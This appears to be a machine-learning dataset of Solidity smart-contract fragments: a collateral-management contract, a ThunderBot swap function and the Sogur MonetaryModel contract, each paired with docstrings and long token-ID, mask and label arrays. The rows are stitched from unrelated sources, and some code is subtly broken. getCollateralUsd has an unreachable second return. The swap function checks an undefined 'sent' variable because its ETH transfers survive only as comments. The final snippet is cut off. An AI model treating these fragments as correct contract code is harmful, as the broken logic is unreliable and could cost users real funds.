collateralOracle[collateral_] = oracleAddress_;
}
function setCollateralOracle(address collateral_, address oracleAddress_) external onlyOwner {
collateralOracle[collateral_] = oracleAddress_;
}
function removeCollateral(address collateral_) external onlyOwner {
delete acceptedCollateral[collateral_];
delete collateralOracle[collateral_];
for (uint i = 0; i < collateralArray.length; i++){
if (collateralArray[i] == collateral_) {
collateralArray[i] = address(0); // This will leave a null in the array and keep the indices the same
break;
}
}
}
function setSynthOracle(address oracle_) external onlyOwner returns (bool) {
synthOracle = oracle_;
return true;
}
function setGaiaOracle(address oracle_) external onlyOwner returns (bool) {
gaiaOracle = oracle_;
return true;
}
function editMintFee(uint256 fee_) external onlyOwner {
mintFee = fee_;
emit MintFee(fee_);
}
function editWithdrawFee(uint256 fee_) external onlyOwner {
withdrawFee = fee_;
emit WithdrawFee(fee_);
}
function setSeenCollateral(address collateral_, bool val_) external onlyOwner {
seenCollateral[collateral_] = val_;
}
function setMinReserveRate(uint256 rate_) external onlyOwner {
require(rate_ != 0, "postive reserve ratio required");
require(rate_ <= 100 * 10 ** 9, "ratio must be less than or equal to 100%");
MIN_RESERVE_RATIO = rate_;
}
function setReserveRatioAdmin(uint256 newRatio_) external onlyOwner {
require(newRatio_ != 0, "positive reserve ratio required");
require(newRatio_ >= MIN_RESERVE_RATIO, "new reserve ratio must be at least minimum reserve ratio");
if (newRatio_ <= MAX_RESERVE_RATIO) {
reserveRatio = newRatio_;
emit NewReserveRate(reserveRatio);
}
}
function setMinimumRefreshTime(uint256 val_) external onlyOwner returns (bool) {
require(val_ != 0, "minimum refresh time must be valid");
minimumRefreshTime = val_;
for (uint i = 0; i < collateralArray.length; i++) {
if (acceptedCollateral[collateralArray[i]]) TwapOracle(collateralOracle[collateralArray[i]]).changePeriod(val_);
}
emit NewMinimumRefreshTime(val_);
return true;
}
// used for investing collateral
function moveCollateral(address collateral, address location, uint256 amount) external onlyOwner {
require(acceptedCollateral[collateral], "must be an accepted collateral");
SafeERC20.safeTransfer(IERC20(collateral), location, amount);
}
// internal private functions ============================================================
function setReserveRatio(uint256 newRatio_) private {
require(newRatio_ >= 0, "positive reserve ratio");
if (newRatio_ <= MAX_RESERVE_RATIO && newRatio_ >= MIN_RESERVE_RATIO) {
reserveRatio = newRatio_;
emit NewReserveRate(reserveRatio);
}
}
}
| price is $Y / USD (10 ** 8 decimals) | function getCollateralUsd(address collateral_) public view returns (uint256) {
( , int price, , uint timeStamp, ) = usdcPrice.latestRoundData();
require(timeStamp > 0, "Rounds not complete");
if (address(collateral_) == address(usdcAddress)) {
return uint256(price).mul(10 ** 10);
return uint256(price).mul(10 ** 10).div((TwapOracle(collateralOracle[collateral_]).consult(usdcAddress, 10 ** 6)).mul(10 ** 9).div(10 ** collateralDecimals[collateral_]));
}
}
| 13,801,640 | [
1,
8694,
353,
271,
61,
342,
587,
9903,
261,
2163,
225,
1725,
15105,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
336,
13535,
2045,
287,
3477,
72,
12,
2867,
4508,
2045,
287,
67,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
261,
269,
509,
6205,
16,
269,
2254,
18198,
16,
262,
273,
584,
7201,
5147,
18,
13550,
11066,
751,
5621,
203,
3639,
2583,
12,
957,
8860,
405,
374,
16,
315,
54,
9284,
486,
3912,
8863,
203,
203,
3639,
309,
261,
2867,
12,
12910,
2045,
287,
67,
13,
422,
1758,
12,
407,
7201,
1887,
3719,
288,
203,
5411,
327,
2254,
5034,
12,
8694,
2934,
16411,
12,
2163,
2826,
1728,
1769,
203,
5411,
327,
2254,
5034,
12,
8694,
2934,
16411,
12,
2163,
2826,
1728,
2934,
2892,
12443,
23539,
438,
23601,
12,
12910,
2045,
287,
23601,
63,
12910,
2045,
287,
67,
65,
2934,
8559,
406,
12,
407,
7201,
1887,
16,
1728,
2826,
1666,
13,
2934,
16411,
12,
2163,
2826,
2468,
2934,
2892,
12,
2163,
2826,
4508,
2045,
287,
31809,
63,
12910,
2045,
287,
67,
5717,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xD4B0688279C91075bb59E3ae804B6d5388ACd708/sources/contracts/ThunderBot.sol | * @dev Swaps exact tokens for ETH. @param amountIn Amount of tokens to swap @param amountOutMin Minimum amount of ETH to receive @param token Token address @param to Address to send ETH to @param deadline Deadline for the swap Take a fee on the swap and send it to the team wallet and the revenue share wallet./ payable(to).transfer(amountReceived - feeAmount); payable(teamWallet).transfer(amountForTeam); payable(revShareWallet).transfer(amountForRevShare); | function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address token,
address to,
uint256 deadline
) external {
require(
IERC20(token).balanceOf(msg.sender) >= amountIn,
"Insufficient balance"
);
require(
IERC20(token).allowance(msg.sender, address(this)) >= amountIn,
"Insufficient allowance"
);
IERC20(token).transferFrom(msg.sender, address(this), amountIn);
IERC20(token).approve(address(uniswapV2Router), amountIn);
address[] memory path = new address[](2);
path[0] = token;
path[1] = uniswapV2Router.WETH();
uint currentBalance = address(this).balance;
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountIn,
amountOutMin,
path,
address(this),
deadline
);
uint balanceAfterSwap = address(this).balance;
uint amountReceived = balanceAfterSwap - currentBalance;
uint256 feeAmount = calculateFee(amountReceived);
require(sent, "Failed to send to sender");
uint256 amountForRevShare = (feeAmount * revSharePercentageFees) / 100;
uint256 amountForTeam = feeAmount - amountForRevShare;
require(sent, "Failed to send to teamWallet");
require(sent, "Failed to send to revShareWallet");
emit FeeTaken(feeAmount, to, token);
}
| 9,805,370 | [
1,
6050,
6679,
5565,
2430,
364,
512,
2455,
18,
225,
3844,
382,
16811,
434,
2430,
358,
7720,
225,
3844,
1182,
2930,
23456,
3844,
434,
512,
2455,
358,
6798,
225,
1147,
3155,
1758,
225,
358,
5267,
358,
1366,
512,
2455,
358,
225,
14096,
23967,
1369,
364,
326,
7720,
17129,
279,
14036,
603,
326,
7720,
471,
1366,
518,
358,
326,
5927,
9230,
471,
326,
283,
24612,
7433,
9230,
18,
19,
8843,
429,
12,
869,
2934,
13866,
12,
8949,
8872,
300,
14036,
6275,
1769,
8843,
429,
12,
10035,
16936,
2934,
13866,
12,
8949,
1290,
8689,
1769,
8843,
429,
12,
9083,
9535,
16936,
2934,
13866,
12,
8949,
1290,
10070,
9535,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7720,
14332,
5157,
1290,
1584,
44,
12,
203,
3639,
2254,
5034,
3844,
382,
16,
203,
3639,
2254,
5034,
3844,
1182,
2930,
16,
203,
3639,
1758,
1147,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
14096,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
467,
654,
39,
3462,
12,
2316,
2934,
12296,
951,
12,
3576,
18,
15330,
13,
1545,
3844,
382,
16,
203,
5411,
315,
5048,
11339,
11013,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
467,
654,
39,
3462,
12,
2316,
2934,
5965,
1359,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3719,
1545,
3844,
382,
16,
203,
5411,
315,
5048,
11339,
1699,
1359,
6,
203,
3639,
11272,
203,
203,
3639,
467,
654,
39,
3462,
12,
2316,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
382,
1769,
203,
3639,
467,
654,
39,
3462,
12,
2316,
2934,
12908,
537,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
8259,
3631,
3844,
382,
1769,
203,
203,
3639,
1758,
8526,
3778,
589,
273,
394,
1758,
8526,
12,
22,
1769,
203,
3639,
589,
63,
20,
65,
273,
1147,
31,
203,
3639,
589,
63,
21,
65,
273,
640,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
5621,
203,
203,
3639,
2254,
783,
13937,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
18,
22270,
14332,
5157,
1290,
1584,
44,
6289,
310,
14667,
1398,
5912,
5157,
12,
203,
5411,
3844,
382,
16,
203,
5411,
3844,
1182,
2
]
|
pragma solidity 0.4.25;
// File: contracts/sogur/interfaces/IMonetaryModel.sol
/**
* @title Monetary Model Interface.
*/
interface IMonetaryModel {
/**
* @dev Buy SGR in exchange for SDR.
* @param _sdrAmount The amount of SDR received from the buyer.
* @return The amount of SGR that the buyer is entitled to receive.
*/
function buy(uint256 _sdrAmount) external returns (uint256);
/**
* @dev Sell SGR in exchange for SDR.
* @param _sgrAmount The amount of SGR received from the seller.
* @return The amount of SDR that the seller is entitled to receive.
*/
function sell(uint256 _sgrAmount) external returns (uint256);
}
// File: contracts/sogur/interfaces/IMonetaryModelState.sol
/**
* @title Monetary Model State Interface.
*/
interface IMonetaryModelState {
/**
* @dev Set the total amount of SDR in the model.
* @param _amount The total amount of SDR in the model.
*/
function setSdrTotal(uint256 _amount) external;
/**
* @dev Set the total amount of SGR in the model.
* @param _amount The total amount of SGR in the model.
*/
function setSgrTotal(uint256 _amount) external;
/**
* @dev Get the total amount of SDR in the model.
* @return The total amount of SDR in the model.
*/
function getSdrTotal() external view returns (uint256);
/**
* @dev Get the total amount of SGR in the model.
* @return The total amount of SGR in the model.
*/
function getSgrTotal() external view returns (uint256);
}
// File: contracts/sogur/interfaces/IModelCalculator.sol
/**
* @title Model Calculator Interface.
*/
interface IModelCalculator {
/**
* @dev Check whether or not an interval is trivial.
* @param _alpha The alpha-value of the interval.
* @param _beta The beta-value of the interval.
* @return True if and only if the interval is trivial.
*/
function isTrivialInterval(uint256 _alpha, uint256 _beta) external pure returns (bool);
/**
* @dev Calculate N(R) on a trivial interval.
* @param _valR The given value of R on the interval.
* @param _maxN The maximum value of N on the interval.
* @param _maxR The maximum value of R on the interval.
* @return N(R).
*/
function getValN(uint256 _valR, uint256 _maxN, uint256 _maxR) external pure returns (uint256);
/**
* @dev Calculate R(N) on a trivial interval.
* @param _valN The given value of N on the interval.
* @param _maxR The maximum value of R on the interval.
* @param _maxN The maximum value of N on the interval.
* @return R(N).
*/
function getValR(uint256 _valN, uint256 _maxR, uint256 _maxN) external pure returns (uint256);
/**
* @dev Calculate N(R) on a non-trivial interval.
* @param _newR The given value of R on the interval.
* @param _minR The minimum value of R on the interval.
* @param _minN The minimum value of N on the interval.
* @param _alpha The alpha-value of the interval.
* @param _beta The beta-value of the interval.
* @return N(R).
*/
function getNewN(uint256 _newR, uint256 _minR, uint256 _minN, uint256 _alpha, uint256 _beta) external pure returns (uint256);
/**
* @dev Calculate R(N) on a non-trivial interval.
* @param _newN The given value of N on the interval.
* @param _minN The minimum value of N on the interval.
* @param _minR The minimum value of R on the interval.
* @param _alpha The alpha-value of the interval.
* @param _beta The beta-value of the interval.
* @return R(N).
*/
function getNewR(uint256 _newN, uint256 _minN, uint256 _minR, uint256 _alpha, uint256 _beta) external pure returns (uint256);
}
// File: contracts/sogur/interfaces/IPriceBandCalculator.sol
/**
* @title Price Band Calculator Interface.
*/
interface IPriceBandCalculator {
/**
* @dev Deduct price-band from a given amount of SDR.
* @param _sdrAmount The amount of SDR.
* @param _sgrTotal The total amount of SGR.
* @param _alpha The alpha-value of the current interval.
* @param _beta The beta-value of the current interval.
* @return The amount of SDR minus the price-band.
*/
function buy(uint256 _sdrAmount, uint256 _sgrTotal, uint256 _alpha, uint256 _beta) external pure returns (uint256);
/**
* @dev Deduct price-band from a given amount of SDR.
* @param _sdrAmount The amount of SDR.
* @param _sgrTotal The total amount of SGR.
* @param _alpha The alpha-value of the current interval.
* @param _beta The beta-value of the current interval.
* @return The amount of SDR minus the price-band.
*/
function sell(uint256 _sdrAmount, uint256 _sgrTotal, uint256 _alpha, uint256 _beta) external pure returns (uint256);
}
// File: contracts/sogur/interfaces/IIntervalIterator.sol
/**
* @title Interval Iterator Interface.
*/
interface IIntervalIterator {
/**
* @dev Move to a higher interval and start a corresponding timer if necessary.
*/
function grow() external;
/**
* @dev Reset the timer of the current interval if necessary and move to a lower interval.
*/
function shrink() external;
/**
* @dev Return the current interval.
*/
function getCurrentInterval() external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
/**
* @dev Return the current interval coefficients.
*/
function getCurrentIntervalCoefs() external view returns (uint256, uint256);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/sogur/MonetaryModel.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Monetary Model.
*/
contract MonetaryModel is IMonetaryModel, ContractAddressLocatorHolder {
string public constant VERSION = "1.0.1";
using SafeMath for uint256;
uint256 public constant MIN_RR = 1000000000000000000000000000000000;
uint256 public constant MAX_RR = 10000000000000000000000000000000000;
event MonetaryModelBuyCompleted(uint256 _input, uint256 _output);
event MonetaryModelSellCompleted(uint256 _input, uint256 _output);
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
/**
* @dev Return the contract which implements the IMonetaryModelState interface.
*/
function getMonetaryModelState() public view returns (IMonetaryModelState) {
return IMonetaryModelState(getContractAddress(_IMonetaryModelState_));
}
/**
* @dev Return the contract which implements the IModelCalculator interface.
*/
function getModelCalculator() public view returns (IModelCalculator) {
return IModelCalculator(getContractAddress(_IModelCalculator_));
}
/**
* @dev Return the contract which implements the IPriceBandCalculator interface.
*/
function getPriceBandCalculator() public view returns (IPriceBandCalculator) {
return IPriceBandCalculator(getContractAddress(_IPriceBandCalculator_));
}
/**
* @dev Return the contract which implements the IIntervalIterator interface.
*/
function getIntervalIterator() public view returns (IIntervalIterator) {
return IIntervalIterator(getContractAddress(_IIntervalIterator_));
}
/**
* @dev Buy SGR in exchange for SDR.
* @param _sdrAmount The amount of SDR received from the buyer.
* @return The amount of SGR that the buyer is entitled to receive.
*/
function buy(uint256 _sdrAmount) external only(_ITransactionManager_) returns (uint256) {
IMonetaryModelState monetaryModelState = getMonetaryModelState();
IIntervalIterator intervalIterator = getIntervalIterator();
uint256 sgrTotal = monetaryModelState.getSgrTotal();
(uint256 alpha, uint256 beta) = intervalIterator.getCurrentIntervalCoefs();
uint256 reserveRatio = alpha.sub(beta.mul(sgrTotal));
assert(MIN_RR <= reserveRatio && reserveRatio <= MAX_RR);
uint256 sdrAmountAfterFee = getPriceBandCalculator().buy(_sdrAmount, sgrTotal, alpha, beta);
uint256 sgrAmount = buyFunc(sdrAmountAfterFee, monetaryModelState, intervalIterator);
emit MonetaryModelBuyCompleted(_sdrAmount, sgrAmount);
return sgrAmount;
}
/**
* @dev Sell SGR in exchange for SDR.
* @param _sgrAmount The amount of SGR received from the seller.
* @return The amount of SDR that the seller is entitled to receive.
*/
function sell(uint256 _sgrAmount) external only(_ITransactionManager_) returns (uint256) {
IMonetaryModelState monetaryModelState = getMonetaryModelState();
IIntervalIterator intervalIterator = getIntervalIterator();
uint256 sgrTotal = monetaryModelState.getSgrTotal();
(uint256 alpha, uint256 beta) = intervalIterator.getCurrentIntervalCoefs();
uint256 reserveRatio = alpha.sub(beta.mul(sgrTotal));
assert(MIN_RR <= reserveRatio && reserveRatio <= MAX_RR);
uint256 sdrAmountBeforeFee = sellFunc(_sgrAmount, monetaryModelState, intervalIterator);
uint256 sdrAmount = getPriceBandCalculator().sell(sdrAmountBeforeFee, sgrTotal, alpha, beta);
emit MonetaryModelSellCompleted(_sgrAmount, sdrAmount);
return sdrAmount;
}
/**
* @dev Execute the SDR-to-SGR algorithm.
* @param _sdrAmount The amount of SDR.
* @return The equivalent amount of SGR.
* @notice The two additional parameters can also be retrieved inside the function.
* @notice They are passed from the outside, however, in order to improve performance and reduce the cost.
* @notice Another parameter is retrieved inside the function due to a technical limitation, namely, insufficient stack size.
*/
function buyFunc(uint256 _sdrAmount, IMonetaryModelState _monetaryModelState, IIntervalIterator _intervalIterator) private returns (uint256) {
uint256 sgrCount = 0;
uint256 sdrCount = _sdrAmount;
uint256 sdrDelta;
uint256 sgrDelta;
uint256 sdrTotal = _monetaryModelState.getSdrTotal();
uint256 sgrTotal = _monetaryModelState.getSgrTotal();
//Gas consumption is capped, since according to the parameters of the Sogur monetary model the execution of more than one iteration of this loop involves transaction of tens (or more) of millions of SDR worth of ETH and are thus unlikely.
(uint256 minN, uint256 maxN, uint256 minR, uint256 maxR, uint256 alpha, uint256 beta) = _intervalIterator.getCurrentInterval();
while (sdrCount >= maxR.sub(sdrTotal)) {
sdrDelta = maxR.sub(sdrTotal);
sgrDelta = maxN.sub(sgrTotal);
_intervalIterator.grow();
(minN, maxN, minR, maxR, alpha, beta) = _intervalIterator.getCurrentInterval();
sdrTotal = minR;
sgrTotal = minN;
sdrCount = sdrCount.sub(sdrDelta);
sgrCount = sgrCount.add(sgrDelta);
}
if (sdrCount > 0) {
if (getModelCalculator().isTrivialInterval(alpha, beta))
sgrDelta = getModelCalculator().getValN(sdrCount, maxN, maxR);
else
sgrDelta = getModelCalculator().getNewN(sdrTotal.add(sdrCount), minR, minN, alpha, beta).sub(sgrTotal);
sdrTotal = sdrTotal.add(sdrCount);
sgrTotal = sgrTotal.add(sgrDelta);
sgrCount = sgrCount.add(sgrDelta);
}
_monetaryModelState.setSdrTotal(sdrTotal);
_monetaryModelState.setSgrTotal(sgrTotal);
return sgrCount;
}
/**
* @dev Execute the SGR-to-SDR algorithm.
* @param _sgrAmount The amount of SGR.
* @return The equivalent amount of SDR.
* @notice The two additional parameters can also be retrieved inside the function.
* @notice They are passed from the outside, however, in order to improve performance and reduce the cost.
* @notice Another parameter is retrieved inside the function due to a technical limitation, namely, insufficient stack size.
*/
function sellFunc(uint256 _sgrAmount, IMonetaryModelState _monetaryModelState, IIntervalIterator _intervalIterator) private returns (uint256) {
uint256 sdrCount = 0;
uint256 sgrCount = _sgrAmount;
uint256 sgrDelta;
uint256 sdrDelta;
uint256 sgrTotal = _monetaryModelState.getSgrTotal();
uint256 sdrTotal = _monetaryModelState.getSdrTotal();
//Gas consumption is capped, since according to the parameters of the Sogur monetary model the execution of more than one iteration of this loop involves transaction of tens (or more) of millions of SDR worth of ETH and are thus unlikely.
(uint256 minN, uint256 maxN, uint256 minR, uint256 maxR, uint256 alpha, uint256 beta) = _intervalIterator.getCurrentInterval();
while (sgrCount > sgrTotal.sub(minN)) {
sgrDelta = sgrTotal.sub(minN);
sdrDelta = sdrTotal.sub(minR);
_intervalIterator.shrink();
(minN, maxN, minR, maxR, alpha, beta) = _intervalIterator.getCurrentInterval();
sgrTotal = maxN;
sdrTotal = maxR;
sgrCount = sgrCount.sub(sgrDelta);
sdrCount = sdrCount.add(sdrDelta);
}
if (sgrCount > 0) {
if (getModelCalculator().isTrivialInterval(alpha, beta))
sdrDelta = getModelCalculator().getValR(sgrCount, maxR, maxN);
else
sdrDelta = sdrTotal.sub(getModelCalculator().getNewR(sgrTotal.sub(sgrCount), minN, minR, alpha, beta));
sgrTotal = sgrTotal.sub(sgrCount);
sdrTotal = sdrTotal.sub(sdrDelta);
sdrCount = sdrCount.add(sdrDelta);
}
_monetaryModelState.setSgrTotal(sgrTotal);
_monetaryModelState.setSdrTotal(sdrTotal);
return sdrCount;
}
} | * @dev Sell SGR in exchange for SDR. @param _sgrAmount The amount of SGR received from the seller. @return The amount of SDR that the seller is entitled to receive./ | function sell(uint256 _sgrAmount) external only(_ITransactionManager_) returns (uint256) {
IMonetaryModelState monetaryModelState = getMonetaryModelState();
IIntervalIterator intervalIterator = getIntervalIterator();
uint256 sgrTotal = monetaryModelState.getSgrTotal();
(uint256 alpha, uint256 beta) = intervalIterator.getCurrentIntervalCoefs();
uint256 reserveRatio = alpha.sub(beta.mul(sgrTotal));
assert(MIN_RR <= reserveRatio && reserveRatio <= MAX_RR);
uint256 sdrAmountBeforeFee = sellFunc(_sgrAmount, monetaryModelState, intervalIterator);
